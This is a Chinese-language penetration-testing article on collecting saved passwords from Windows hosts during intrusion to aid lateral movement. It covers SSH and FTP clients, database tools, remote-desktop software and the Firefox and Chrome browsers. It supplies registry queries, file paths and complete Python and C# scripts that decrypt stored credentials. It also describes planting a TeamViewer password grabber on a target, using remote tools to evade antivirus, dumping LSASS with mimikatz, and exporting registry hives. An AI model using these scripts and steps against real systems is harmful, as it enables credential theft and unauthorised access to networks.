<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網中常見軟件的憑據利用

    VSole2021-12-02 13:18:01

    why?

    寫這個是因為考慮到在滲透過程中,對目標機器上的第三方軟件的信息收集很大程度決定后續能不能橫向移動,內網密碼搜集的越多,橫向滲透也就越方便,這里將列舉常見的軟件,遠程控制,瀏覽器,常見數據庫相關軟件和系統的憑證獲取方式。

    而有時候因為環境特別嚴苛,在線解密的工具用不了的時候離線就顯得特別重要,做個記錄,也當了解一下各個軟件之間不同的認證方法,可能有些許理解錯誤,看官們輕錘。

    密碼保存在哪里?

    在 Windows 系統下保存密碼,無非就只存在于兩個位置:文件或者注冊表里。所以下文主要也是從注冊表項、文件中獲取第三方軟件的密碼字段。

    運維類軟件

    1.Xshell

    xshell在屬于是運維最愛使用以及出現率最高的一種遠程連接軟件,其中的session文件夾會保存連接過機器的賬號密碼,分析一下xshell是如何保存密碼的。

    均在xshell6的版本下進行演示

    想要找到xshell的默認session保存在哪里很簡單,首先新建一個會話,然后會彈出以上會話框,點擊該圖如文件夾所在,然后系統會打開session的本地保存目錄,結構如下:

    其中,xsh的文件即便是保存了賬號密碼的重要文件,也是解密的憑證。

    如果是安裝版,一般保存文件的默認路徑是不會改動的,路徑如下:

    C:\Users\admin\Documents\NetSarang Computer\6\Xshell\Sessions

    解密過程

    在線解密:

    Xshell的加密過程此處不討論,解密我這里是使用的一款工具

    SharpDecryptPwd

    SharpDecryptPwd支持對:

    Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列產品(Xshell,Xftp)
    

    的解密

    項目地址:

    https://github.com/uknowsec/SharpDecryptPwd

    這種方法僅僅支持在線解密,即你要去對方的機器上運行程序才可解密,如果把session脫下來離線在本機去解密是解密不了的,因為xshell6.0以后都增加了一個userSid(key)來鑒權,所以離線解密得復雜一點。

    離線解密:

    如果離線解密,不指定userSid頭會像這樣,解出來是亂碼。

    獲取SID頭也很簡單,使用whoami /user即可得到SID信息

    https://github.com/HyperSine/how-does-Xmanager-encrypt-password

    離線解密推薦使用此項目,python環境,可指定SID頭進行解密

    $ whoami /user
    用戶信息
    ----------------
    
    用戶名               SID
    ==================== =============================================
    computername\username sid
    
    $ python3 Xdecrypt.py
    =============C:\Users\yourname\Documents\NetSarang Computer\6\Xftp\Sessions\192.168.1.2.xfp=============
    Host:     192.168.1.2:22
    Username: root
    Password: test
    ==========C:\Users\d2x3\Documents\NetSarang Computer\6\Xshell\Sessions\192.168.1.2.xsh===========
    Host:     192.168.1.2:22
    Username: root
    Password: test
    ========C:\Users\d2x3\Documents\NetSarang Computer\6\Xshell\Sessions\test\192.168.1.2.xsh========
    Host:     192.168.1.2:22
    Username: root
    Password: test
    
    $ python3 Xdecrypt.py -s username+sid -p "D:\somewhere\NetSarang Computer"
    =============D:\somewhere\NetSarang Computer\6\Xftp\Sessions\192.168.1.2.xfp=============
    Host:     192.168.1.2:22
    Username: root
    Password: test
    ==========D:\somewhere\NetSarang Computer\6\Xshell\Sessions\192.168.1.2.xsh===========
    Host:     192.168.1.2:22
    Username: root
    Password: test
    ========D:\somewhere\NetSarang Computer\6\Xshell\Sessions\test\192.168.1.2.xsh========
    Host:     192.168.1.2:22
    Username: root
    Password: test
    
    $ python Xdecrypt.py -s username+sid -p password
    test
    

    使用如下:

    python3 Xdecrypt.py -s 用戶名+SID -p "session文件目錄"
    

    XFTP和xshell同理,因此不再敘述。

    2.FileZilla

    FileZilla在機器上遇見的次數也比較多,是一款FTP操作類的軟件

    解密過程

    FileZilla比較簡單,解密過程如下:

    • 先導出FileZilla的站點管理器記錄;
    • 2、記錄文件是以.xml結尾的文件,即FileZilla.xml;
    • 3、FileZilla.xml中保存的密碼是經過base64加密的,復制加密后的密碼;


    其中的密碼以base64保存,解密后即是原文密碼。

    這個文件夾的默認保存路徑為:%userprofile%\AppData\Roaming\FileZilla\

    此文件夾下的sitemanager文件即為站點保存記錄,和上面的XML打開是一樣的內容。

    使用SharpDecyptPwd也可以

    SharpDecryptPwd.exe -FileZilla



    3.Winscp

    WinSCP 是一個 Windows 環境下使用的 SSH 的開源圖形化 SFTP 客戶端。同時支持 SCP 協議。

    解密過程

    Winscp的密碼信息是保存在注冊表的,路徑如下:

    reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions

    使用此條命令會看到有連接名,存在幾個就是有幾個連接。

    獲得密碼有一個條件,即:保存的時候勾選了保存密碼,要不然注冊表的值為空。


    上圖為不保存密碼的一個例子,此處的注冊表是沒有Password值的。

    這就是以注冊表的形式來獲得密碼,獲得這幾個值之后,使用winscppwd.exe可以離線破解

    winscppasswd.exe <host> <username> <encrypted_password>


    有的時候如果在RDP上操作,可以直接把所有站點列表導出,具體操作如下

    導出了之后是一個ini的文件,ini文件里面會保存所有的連接記錄,因此也可以利用ini來達到一個快速的獲得全信息的操作,不用一個個的去讀注冊表值。

    winscppasswd.exe WinSCP.ini
    

    利用SharpDecryptPwd也可以做到,非常方便。

    4.SecureCRT

    在實戰中,SecureCRT和xshell一樣,很多運維人員會將SSH的賬號密碼保存在上面,當我們拿下這臺主機后如果發現有此類軟件就可以同時獲取到多臺機器的權限,同時收集機器密碼。

    SecureCRT解密過程

    解密過程

    我這里已經是9版本了

    session保存路徑如下:

    C:\Users\admin\AppData\Roaming\VanDyke\Config

    其中 Password V2 里面存放著密碼,02:后面就是加密后的密碼。

    解密腳本:

    #!/usr/bin/env python3
    import os
    from Crypto.Hash import SHA256
    from Crypto.Cipher import AES, Blowfish
    
    class SecureCRTCrypto:
    
        def __init__(self):
            '''
            Initialize SecureCRTCrypto object.
            '''
            self.IV = b'\x00' * Blowfish.block_size
            self.Key1 = b'\x24\xA6\x3D\xDE\x5B\xD3\xB3\x82\x9C\x7E\x06\xF4\x08\x16\xAA\x07'
            self.Key2 = b'\x5F\xB0\x45\xA2\x94\x17\xD9\x16\xC6\xC6\xA2\xFF\x06\x41\x82\xB7'
    
        def Encrypt(self, Plaintext : str):
            '''
            Encrypt plaintext and return corresponding ciphertext.
            Args:
                Plaintext: A string that will be encrypted.
            Returns:
                Hexlified ciphertext string.
            '''
            plain_bytes = Plaintext.encode('utf-16-le')
            plain_bytes += b'\x00\x00'
            padded_plain_bytes = plain_bytes + os.urandom(Blowfish.block_size - len(plain_bytes) % Blowfish.block_size)
    
            cipher1 = Blowfish.new(self.Key1, Blowfish.MODE_CBC, iv = self.IV)
            cipher2 = Blowfish.new(self.Key2, Blowfish.MODE_CBC, iv = self.IV)
            return cipher1.encrypt(os.urandom(4) + cipher2.encrypt(padded_plain_bytes) + os.urandom(4)).hex()
    
        def Decrypt(self, Ciphertext : str):
            '''
            Decrypt ciphertext and return corresponding plaintext.
            Args:
                Ciphertext: A hex string that will be decrypted.
            Returns:
                Plaintext string.
            '''
    
            cipher1 = Blowfish.new(self.Key1, Blowfish.MODE_CBC, iv = self.IV)
            cipher2 = Blowfish.new(self.Key2, Blowfish.MODE_CBC, iv = self.IV)
            ciphered_bytes = bytes.fromhex(Ciphertext)
            if len(ciphered_bytes) <= 8:
                raise ValueError('Invalid Ciphertext.')
            
            padded_plain_bytes = cipher2.decrypt(cipher1.decrypt(ciphered_bytes)[4:-4])
            
            i = 0
            for i in range(0, len(padded_plain_bytes), 2):
                if padded_plain_bytes[i] == 0 and padded_plain_bytes[i + 1] == 0:
                    break
            plain_bytes = padded_plain_bytes[0:i]
    
            try:
                return plain_bytes.decode('utf-16-le')
            except UnicodeDecodeError:
                raise(ValueError('Invalid Ciphertext.'))
    
    class SecureCRTCryptoV2:
    
        def __init__(self, ConfigPassphrase : str = ''):
            '''
            Initialize SecureCRTCryptoV2 object.
            Args:
                ConfigPassphrase: The config passphrase that SecureCRT uses. Leave it empty if config passphrase is not set.
            '''
            self.IV = b'\x00' * AES.block_size
            self.Key = SHA256.new(ConfigPassphrase.encode('utf-8')).digest()
    
        def Encrypt(self, Plaintext : str):
            '''
            Encrypt plaintext and return corresponding ciphertext.
            Args:
                Plaintext: A string that will be encrypted.
            Returns:
                Hexlified ciphertext string.
            '''
            plain_bytes = Plaintext.encode('utf-8')
            if len(plain_bytes) > 0xffffffff:
                raise OverflowError('Plaintext is too long.')
            
            plain_bytes = \
                len(plain_bytes).to_bytes(4, 'little') + \
                plain_bytes + \
                SHA256.new(plain_bytes).digest()
            padded_plain_bytes = \
                plain_bytes + \
                os.urandom(AES.block_size - len(plain_bytes) % AES.block_size)
            cipher = AES.new(self.Key, AES.MODE_CBC, iv = self.IV)
            return cipher.encrypt(padded_plain_bytes).hex()
    
        def Decrypt(self, Ciphertext : str):
            '''
            Decrypt ciphertext and return corresponding plaintext.
            Args:
                Ciphertext: A hex string that will be decrypted.
            Returns:
                Plaintext string.
            '''
            cipher = AES.new(self.Key, AES.MODE_CBC, iv = self.IV)
            padded_plain_bytes = cipher.decrypt(bytes.fromhex(Ciphertext))
            
            plain_bytes_length = int.from_bytes(padded_plain_bytes[0:4], 'little')
            plain_bytes = padded_plain_bytes[4:4 + plain_bytes_length]
            if len(plain_bytes) != plain_bytes_length:
                raise ValueError('Invalid Ciphertext.')
    
            plain_bytes_digest = padded_plain_bytes[4 + plain_bytes_length:4 + plain_bytes_length + SHA256.digest_size]
            if len(plain_bytes_digest) != SHA256.digest_size:
                raise ValueError('Invalid Ciphertext.')
    
            if SHA256.new(plain_bytes).digest() != plain_bytes_digest:
                raise ValueError('Invalid Ciphertext.')
    
            return plain_bytes.decode('utf-8')
    
    if __name__ == '__main__':
        import sys
    
        def Help():
            print('Usage:')
            print('    SecureCRTCipher.py <enc|dec> [-v2] [-p ConfigPassphrase] <plaintext|ciphertext>')
            print('')
            print('    <enc|dec>              "enc" for encryption, "dec" for decryption.')
            print('                           This parameter must be specified.')
            print('')
            print('    [-v2]                  Encrypt/Decrypt with "Password V2" algorithm.')
            print('                           This parameter is optional.')
            print('')
            print('    [-p ConfigPassphrase]  The config passphrase that SecureCRT uses.')
            print('                           This parameter is optional.')
            print('')
            print('    <plaintext|ciphertext> Plaintext string or ciphertext string.')
            print('                           NOTICE: Ciphertext string must be a hex string.')
            print('                           This parameter must be specified.')
            print('')
        
        def EncryptionRoutine(UseV2 : bool, ConfigPassphrase : str, Plaintext : str):
            try:
                if UseV2:
                    print(SecureCRTCryptoV2(ConfigPassphrase).Encrypt(Plaintext))
                else:
                    print(SecureCRTCrypto().Encrypt(Plaintext))
                return True
            except:
                print('Error: Failed to encrypt.')
                return False
    
        def DecryptionRoutine(UseV2 : bool, ConfigPassphrase : str, Ciphertext : str):
            try:
                if UseV2:
                    print(SecureCRTCryptoV2(ConfigPassphrase).Decrypt(Ciphertext))
                else:
                    print(SecureCRTCrypto().Decrypt(Ciphertext))
                return True
            except:
                print('Error: Failed to decrypt.')
                return False
    
        def Main(argc : int, argv : list):
            if 3 <= argc and argc <= 6:
                bUseV2 = False
                ConfigPassphrase = ''
    
                if argv[1].lower() == 'enc':
                    bEncrypt = True
                elif argv[1].lower() == 'dec':
                    bEncrypt = False
                else:
                    Help()
                    return -1
                
                i = 2
                while i < argc - 1:
                    if argv[i].lower() == '-v2':
                        bUseV2 = True
                        i += 1
                    elif argv[i].lower() == '-p' and i + 1 < argc - 1:
                        ConfigPassphrase = argv[i + 1]
                        i += 2
                    else:
                        Help()
                        return -1
    
                if bUseV2 == False and len(ConfigPassphrase) != 0:
                    print('Error: ConfigPassphrase is not supported if "-v2" is not specified')
                    return -1
    
                if bEncrypt:
                    return 0 if EncryptionRoutine(bUseV2, ConfigPassphrase, argv[-1]) else -1
                else:
                    return 0 if DecryptionRoutine(bUseV2, ConfigPassphrase, argv[-1]) else -1
            else:
                Help()
    
        exit(Main(len(sys.argv), sys.argv))
    

    其中的ini文件即是配置文件,使用這個項目即可解密:

    https://github.com/gitPoc32/Forensic/blob/master/VanDykeSecureCRT/SecureCRT-decryptpass.py

    使用方法:

    python [SecureCRT-decryptpass.py] test.ini
    

    也可以使用直接打包文件的方式可以把AppData\Roaming\VanDyke\Config 整個目錄拷貝到本機SecureCRT的Config目錄下,然后直接連接。前提是需要和對方的版本一致。

    數據庫類

    1.Navicat

    數據庫類常用較多的則是Navicat,Navicat很多時候都是數據庫一把梭的神。

    https://github.com/HyperSine/how-does-navicat-encrypt-password/blob/master/doc/how-does-navicat-encrypt-password.md

    上面是Navicat加密算法解釋,Navicat 11.x與12.x算法有些不同,不過都能解。

    解密過程

    Navicat的信息是存在注冊表里面

    reg query HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\

    這只是MySQL的保存信息

    Navicat不同數據庫保存的注冊表路徑

    MySQLHKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\MariaDBHKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\MicrosoftSQLHKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\OracleHKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\PostgreSQLHKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\SQLiteHKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\ 讀取注冊表值:

    1.IP     reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host
    2.用戶名  reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName
    3.密碼    reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v pwd
    

    按照這樣,也可以讀取其他數據庫的信息。

    拿到這些信息后,就可以進行離線解密,推薦項目地址:

    https://github.com/HyperSine/how-does-navicat-encrypt-password/blob/master/python3/NavicatCipher.py

    #!/usr/bin/env python3
    import sys
    from Crypto.Hash import SHA1
    from Crypto.Cipher import AES, Blowfish
    from Crypto.Util import strxor, Padding
    
    class Navicat11Crypto:
    
        def __init__(self, Key = b'3DC5CA39'):
            self._Key = SHA1.new(Key).digest()
            self._Cipher = Blowfish.new(self._Key, Blowfish.MODE_ECB)
            self._IV = self._Cipher.encrypt(b'\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF')
    
        def EncryptString(self, s : str):
            if type(s) != str:
                raise TypeError('Parameter s must be a str.')
            else:
                plaintext = s.encode('ascii')
                ciphertext = b''
                cv = self._IV
                full_round, left_length = divmod(len(plaintext), 8)
    
                for i in range(0, full_round * 8, 8):
                    t = strxor.strxor(plaintext[i:i + 8], cv)
                    t = self._Cipher.encrypt(t)
                    cv = strxor.strxor(cv, t)
                    ciphertext += t
                
                if left_length != 0:
                    cv = self._Cipher.encrypt(cv)
                    ciphertext += strxor.strxor(plaintext[8 * full_round:], cv[:left_length])
    
                return ciphertext.hex().upper()
    
        def DecryptString(self, s : str):
            if type(s) != str:
                raise TypeError('Parameter s must be str.')
            else:
                plaintext = b''
                ciphertext = bytes.fromhex(s)
                cv = self._IV
                full_round, left_length = divmod(len(ciphertext), 8)
    
                for i in range(0, full_round * 8, 8):
                    t = self._Cipher.decrypt(ciphertext[i:i + 8])
                    t = strxor.strxor(t, cv)
                    plaintext += t
                    cv = strxor.strxor(cv, ciphertext[i:i + 8])
                
                if left_length != 0:
                    cv = self._Cipher.encrypt(cv)
                    plaintext += strxor.strxor(ciphertext[8 * full_round:], cv[:left_length])
                
                return plaintext.decode('ascii')
    
    class Navicat12Crypto(Navicat11Crypto):
    
        def __init__(self):
            super().__init__()
    
        def EncryptStringForNCX(self, s : str):
            cipher = AES.new(b'libcckeylibcckey', AES.MODE_CBC, iv = b'libcciv libcciv ')
            padded_plaintext = Padding.pad(s.encode('ascii'), AES.block_size, style = 'pkcs7')
            return cipher.encrypt(padded_plaintext).hex().upper()
    
        def DecryptStringForNCX(self, s : str):
            cipher = AES.new(b'libcckeylibcckey', AES.MODE_CBC, iv = b'libcciv libcciv ')
            padded_plaintext = cipher.decrypt(bytes.fromhex(s))
            return Padding.unpad(padded_plaintext, AES.block_size, style = 'pkcs7').decode('ascii')
    
    if __name__ == '__main__':
    
        def Help():
            print('Usage:')
            print('    NavicatCrypto.py <enc|dec> [-ncx] <plaintext|ciphertext>')
            print('')
            print('        <enc|dec>                "enc" for encryption, "dec" for decryption.')
            print('                                 This parameter must be specified.')
            print('')
            print('        [-ncx]                   Indicate that plaintext/ciphertext is')
            print('                                 prepared for/exported from NCX file.')
            print('                                 This parameter is optional.')
            print('')
            print('        <plaintext|ciphertext>   Plaintext string or ciphertext string.')
            print('                                 NOTICE: Ciphertext string must be a hex string.')
            print('                                 This parameter must be specified.')
            print('')
    
        def Main(argc : int, argv : list):
            if argc == 3:
                if argv[1].lower() == 'enc':
                    print(Navicat11Crypto().EncryptString(argv[2]))
                elif argv[1].lower() == 'dec':
                    print(Navicat11Crypto().DecryptString(argv[2]))
                else:
                    Help()
                    return -1
            elif argc == 4:
                if argv[1].lower() == 'enc' and argv[2].lower() == '-ncx':
                    print(Navicat12Crypto().EncryptStringForNCX(argv[3]))
                elif argv[1].lower() == 'dec' and argv[2].lower() == '-ncx':
                    print(Navicat12Crypto().DecryptStringForNCX(argv[3]))
                else:
                    Help()
                    return -1
            else:
                Help()
            
            return 0
    
        exit(Main(len(sys.argv), sys.argv))
    [Untitled-1.py] dec 密文
    

    可以看到已經成功解密出數據庫的密碼了,離線解密完成。

    至于在線解密,SharpDecryptPwd也可以完成。

    SharpDecryptPwd.exe -NavicatCrypto 即可

    2.Heidisql

    HeidiSQL是一款用于簡單化迷你的 MySQL 服務器和數據庫管理的圖形化界面,因為實踐中遇到了幾次,所以這里也記錄一下解密方法。

    Heidisql敏感信息

    經過對文件的檢測,發現是存在注冊表里面的

    其中的密碼文件會保存在

    HKEY_CURRENT_USER\Software\HeidiSQL\Servers 這個節點下來

    如果配置特別多的情況下,條件允許可以上3389去導的,那么就直接導出配置文件即可。

    配置文件就是如上所示。

    解密

    解密也很簡單,加密方式非常簡單,簡單的來說就是使用了進制轉換和ASCII碼進行偏移來做保護,詳情參考:文章

    貼一個python3解密代碼:

    #coding=utf-8
    import re
        
        #print(passwords)
    
    def heidipass(code):
        ascii = code[:-1]
        d = int(code [-1])
        decode = lambda x:chr(int(x,16) - d)
        password = ''.join(map(decode,re.findall("\w{2}",ascii)))
        return password
    
    def sqlpasslist(passwords):
        list3 = []
        for r in passwords:
            sqlpass = ''
            sqlpass += heidipass(r)
            list3.append(sqlpass)
        return list3
    
    def res(username,passwordslist,host):
        for i in range(len(host)):
            print("host:"+host[i]+" "+"user:"+username[i]+" "+"pass:"+passwordslist[i])
    
    if __name__ == '__main__':
        settings = r"C:\\Users\\root\\settings.txt"
    
        with open(settings,encoding="utf8") as f:
            lines = [r.strip() for r in f.readlines() if "\\Password<" in r]
            passwords = [re.split("\<\|\|\|\>",r)[-1] for r in lines]   #獲取password加密值
    
        with open(settings,encoding="utf8") as f2:
            lines2 = [n.strip() for n in f2.readlines() if "\\User<" in n]
            username = [re.split("\<\|\|\|\>",n)[-1] for n in lines2]
    
        with open(settings,encoding="utf8") as f3:
            lines3 = [h.strip() for h in f3.readlines() if "\\Host<" in h]
            host = [re.split("\<\|\|\|\>",h)[-1] for h in lines3]
        
        passwordslist = sqlpasslist(passwords)
        res(username,passwordslist,host)
    

    解密效果如下:

    3.PLSQL

    PLSQL Developer是一款在原版本基礎功能性能上進行改進和優化的面向Oracle數據庫,遇到過幾次,這里也寫一個利用的過程。



    要打開此處的儲存歷史和密碼儲存才會保存信息在記錄里,實踐中運維開啟這個的幾率蠻高的,畢竟也懶得一個個去手動輸密碼。



    開啟后直接點擊右側就可以直接連接進數據庫了。

    解密過程

    通過對注冊表和文件的檢測,發現會操作這么兩個動作。

    C:\Users\admin\AppData\Roaming\PLSQL Developer 14\Preferences\admin

    C:\Program Files\PLSQL Developer 14\Preferences\admin

    其中的amdin是自己用戶名所生成的目錄,其中的user.prefs就是儲存連接信息的文件。



    連接信息在LogonHistory和CurrentConnections里面,一條是一行。

    貼一個解密代碼 C#實現的

    using System;
    using System;
    using System.Collections.Generic;
    using System.IO;
    
    public class Program
    {
      public static void Main()
      {
        var values = new List<int>();
            var ret = string.Empty;
        string scrambled= "2982420041144316336647844314330032624888491449084966478447944804311832083426313232224704370640044734344833623436330232803242";
    
            for (var i = 0; i < scrambled.Length; i += 4)
            {
                values.Add(Convert.ToInt32(scrambled.Substring(i, 4)));
            }
    
            var key = values[0];
            values.RemoveAt(0);
            for (var i = 0; i < values.Count; i++)
            {
                var val = values[i] - 1000;
                var mask = key + (10 * (i + 1));
    
                ret += (char)((val ^ mask) >> 4);
            }
    
        Console.WriteLine(ret);
    
      }
    }
    

    代碼運行效果


    遠程控制類

    實踐中,往往目標運維或者技術協助會使用像向日葵、Teamview此類軟件進行遠程協助支持,此類軟件不僅僅擴大了攻擊面,有時候對殺軟有直接的Bypass效果,因為此類商用軟件都有數字證書,在殺毒軟件來看都是合法的,所以對這類遠程桌面類的軟件進行利用還是相當有必要的,因此下面會講解幾種常見的遠程桌面類的解密。

    1.向日葵

    解密向日葵的配置文件有兩處,分別為:encry_pwd、fastcode。

    encry_pwd 為本機驗證碼,為密文

    fastcode 為本機識別碼,為明文

    fastcodehistory 為本機識別碼歷史,為密文,用 base64 解密即可,如果你的向日葵從來沒有連接過別的主機,fastcodehistory 就為空

    這三處值在向日葵默認配置文件路徑里:

    安裝版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini

    便攜版(綠色版):C:\ProgramData\Oray\SunloginClient\config.ini



    目前向日葵目前最高版本是:V12.0.1.40571,此版本向日葵已經不把pwd值保存在配置文件里面了。



    值的保存無非是配置文件和注冊表,監測一下注冊表行為即可找到。

    而是保存在了注冊表里面。



    reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
    
    reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo
    

    拿到這兩個值后,推薦使用項目:https://github.com/wafinfo/Sunflower_get_Password

    其中還需要觀察的是base_sunlogincode,根據作者的意思,這行值是在用戶登錄的情況下產生的一個值,也是鑒權之一,如果有這行值,需要添加進來,解密如下:

    賬號密碼正確~

    免安裝版,免安裝版則是還是寫入了配置文件。





    2.TeamViewer

    TeamViewer比較老牌,出現率也是較高的,TV的利用方式比較簡單,大多數工具都是去獲取進程的句柄找到ID和PASS,也有一部分是從內存中得到的。

    使用SharpDecryptPwd的TeamViewer即可讀出密碼,這里是一種利用方式。

    另外一種就是往對方機器上丟TV,然后再用密碼讀取工具去取出來密碼。

    這里推薦個項目:https://github.com/ianxtianxt/teamview

    teamview
    TV_V2.exe在目標上運行會在當前目錄生成生成3個文件
    
    然后請運行生成的gps.exe文件之后會生成vtr.txt里面有ID和pass
    
    連接請用windows server然后安裝壓縮包里的TeamViewer_Setup.exe文件
    




    3.Todesk

    Todesk國產的一款遠程桌面級軟件,具有全功能版和精簡版



    全功能版的配置文件如下路徑:





    其中的

    tempAuthPassEx=f3c632eee583daed76ceb5da98027d221c9764cad72da00e90f9d42f8717f0eb05c0534aeb707c58b803267caa086315acf8e8caabd7
    

    則是密碼,利用的方式也很簡單。只需拿tempAuthPassEx在我們本地ToDesk配置文件中進行替換,然后重新運行ToDesk軟件后即可得到他的明文密碼。



    這個方法不會動目標的客戶端,非常好用。

    還有一種方法是去操作他的客戶端,官方提供了一個命令行的操作文檔。

    https://docs.todesk.com/zh-CN/command

    同時也可以發現Todesk的默認密碼認證方式是:



    按照此文檔,嘗試命令行去追加一個安全密碼。

    ToDesk.exe -setpasswd password 此方法需要UAC。

    使用此命令追加一個安全密碼即可,追加后config.ini中的配置文件,authPassEx值會產生變化。

    也可以生成一個在本機生成一個安全值,然后粘貼到目標config.ini的安全值上進行連接。




    瀏覽器類

    1.firefox



    火狐有一個主密碼的概念,即訪問這些文件都需要此密碼,如果此密碼夠強,按理來說應該是解不開的,所以本文測試也只寫了不存在主密碼的情況下。




    火狐敏感信息文件

    火狐瀏覽器的保存信息是儲放在

    C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles

    這個目錄下

    其中的.xxxxxxdefault是儲存的信息,




    解密過程:

    如圖所示有以上兩種配置文件,那么.default 和 .default-release的區別在哪里呢,經過驗證,如果正常的使用火狐瀏覽器,那么.default-release是你的保存信息的配置文件才對。

    原因是火狐在更新至67版本后,為發行版和測試版都新增了一項配置文件,其中是.default是測試版專用的配置文件。

    詳情參考:https://support.mozilla.org/gl/questions/1264072

    關于火狐加密方式的參考:https://github.com/lclevy/firepwd

    根據該文檔的定義,基于不同的版本,火狐瀏覽器保存的信息和加密方式也稍有不同。

    Versions supported
    Firefox <32 (key3.db, signons.sqlite)
    Firefox >=32 (key3.db, logins.json)
    Firefox >=58.0.2 (key4.db, logins.json)
    Firefox >=75.0 (sha1 pbkdf2 sha256 aes256 cbc used by key4.db, logins.json)
    at least Thunderbird 68.7.0, likely other versions
    

    其中如果火狐版本是大于>==75.0,那么需要找到key4.db和logins.json文件

    C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\key4.db
    C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\logins.json
    

    logins文件:

    {
        nextId: 2, 
        logins: [
            {
                id: 1, 
                hostname: "https://xui.ptlogin2.qq.com", 
                httpRealm: null, 
                formSubmitURL: "https://xui.ptlogin2.qq.com", 
                usernameField: "u", 
                passwordField: "p", 
                encryptedUsername: "MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECKJtY0fupESqBAif8I/nbclipA==", 
                encryptedPassword: "MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECGFaALk5KobdBBAJCXugiC65DWNKSS/1wvTw", 
                guid: "{9333e772-ebd3-42b9-8303-59644b9289a9}", 
                encType: 1, 
                timeCreated: 1638324285771, 
                timeLastUsed: 1638324285771, 
                timePasswordChanged: 1638324285771, 
                timesUsed: 1
            }
        ], 
        potentiallyVulnerablePasswords: [ ], 
        dismissedBreachAlertsByLoginGUID: { }, 
        version: 3
    }
    

    以Firefox 版本 >=94.0.2為例,logins.json將用戶所有登錄信息(包括網址URL,用戶名,密碼和其他數據)存儲為JSON。其中的password是經過了hmacWithSHA256的哈希算法和AES256 cbc加密,然后經過火狐自主創建的ASN.1編碼后再轉換成base64編碼最后寫入文件中。用一個測試登錄信息如上所示,其中encryptedUsername和encryptedPassword就是被加密的用戶名和密碼。

    過程稍微有些復雜,個人能力有限,這里不去詳細的研究火狐的一個手動解密方式,不過已經知道了要解密的需要些什么:

    不管是基于什么版本,只需要打包下載整個配置文件目錄即可:

    C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles

    最后推薦使用項目:https://github.com/unode/firefox_decrypt

    如果對方沒有設置主密碼,在key4.db和logins.json都存在的情況下,腳本是可以解密的。



    在線解密的話也有很多工具,諸如https://github.com/moonD4rk/HackBrowserData,這里不做演示了。

    2.Chrome



    我這里安裝的chrome版本已經是V9了



    在使用谷歌瀏覽器時,如果我們輸入某個網站的賬號密碼,會自動彈出是否保存的密碼框,以便下次登錄的時候自動填寫賬號和密碼,其中保存的密碼可以在設置-密碼里面直接看到。



    Chrome相對來說復雜一些,谷歌引入了一個MasterKey,用DPAPI進行保護。因為的版本不同,新版加密算法為aesGCM加密+DPAPI,而老版本直接使用了DPAPI進行保護,key保存于配置文件文件中。

    概念解釋:

    chrome v80 版本前

    是直接可以通過DPAPI中的解密函數 CryptUnprotectData來進行解密的。

    chrome v80 版本后

    Chrome相對來說復雜一些,谷歌引入了一個MasterKey,用DPAPI進行保護。因為的版本不同,新版加密算法為aesGCM加密+DPAPI,key保存于配置文件文件中,谷歌引入了一個MasterKey,用DPAPI進行保護,而老版本直接使用了DPAPI進行保護,key保存于配置文件文件中。

    DPAPI概念

    Data Protection Application Programming Interface(數據保護API)

    數據保護API(全稱:Data Protection Application Programming Interface,縮寫DPAPI)是一個簡單的密碼學應用程序接口 ,作為一個組件內置在Windows 2000及之后版本的Microsoft Windows操作系統中。理論上,數據保護API可以實現任何類型的數據對稱加密;在實踐中,其在Windows操作系統中的主要用途是執行非對稱私鑰的對稱加密,使用用戶或系統的秘密信息作為熵的重要來源。

    對于幾乎所有密碼系統來說,最困難的挑戰之一是“密鑰管理”——其中部分即是,如何安全地存儲解密密鑰。如果密鑰以純文本存儲,則可以訪問密鑰的任何用戶都可以訪問加密的數據。如果密鑰被加密,則又需要另一個密鑰,周而復始。DPAPI允許開發者使用從用戶的登錄私鑰導出的對稱密鑰來加密密鑰,或者在系統加密的情況下使用系統的域驗證私鑰來加密密鑰。

    Google的敏感配置文件

    cookie文件:%LocalAppData%\Google\Chrome\User Data\Default\Cookies

    密碼文件:%LocalAppData%\Google\Chrome\User Data\Default\Login Data

    歷史記錄及下載記錄:%LocalAppData%\Google\Chrome\User Data\Default\History

    書簽文件:%LocalAppData%\Google\Chrome\User Data\Default\Bookmarks

    緩存及自動表單%LocalAppData%\Google\Chrome\User Data\Default\Web Data

    其中密碼文件是加密的,不過其實他是一個sql3的數據庫,使用SQLlite打開即可.



    關于離線解密的一個過程,團隊小伙伴有過相關的研究,這里直接貼一個他的文章。

    解密過程

    1.離線讀取

    (1)下載LSASS進程鏡像

    (2)mimikatz加載dmp文件并獲取各個Master Key file對應的MasterKey(使用這個命令定位對應的MasterKeydpapi::blob /in:加密數據文件.txt

    sekurlsa::minidump lsass.dmp
    sekurlsa::dpapi
    

    (3)注冊表文件讀取MasterKey

        下載注冊表文件,需管理員權限:
    reg save HKLM\\SYSTEM SystemBkup.hiv
    reg save HKLM\\SECURITY SECURITY.hiv
    

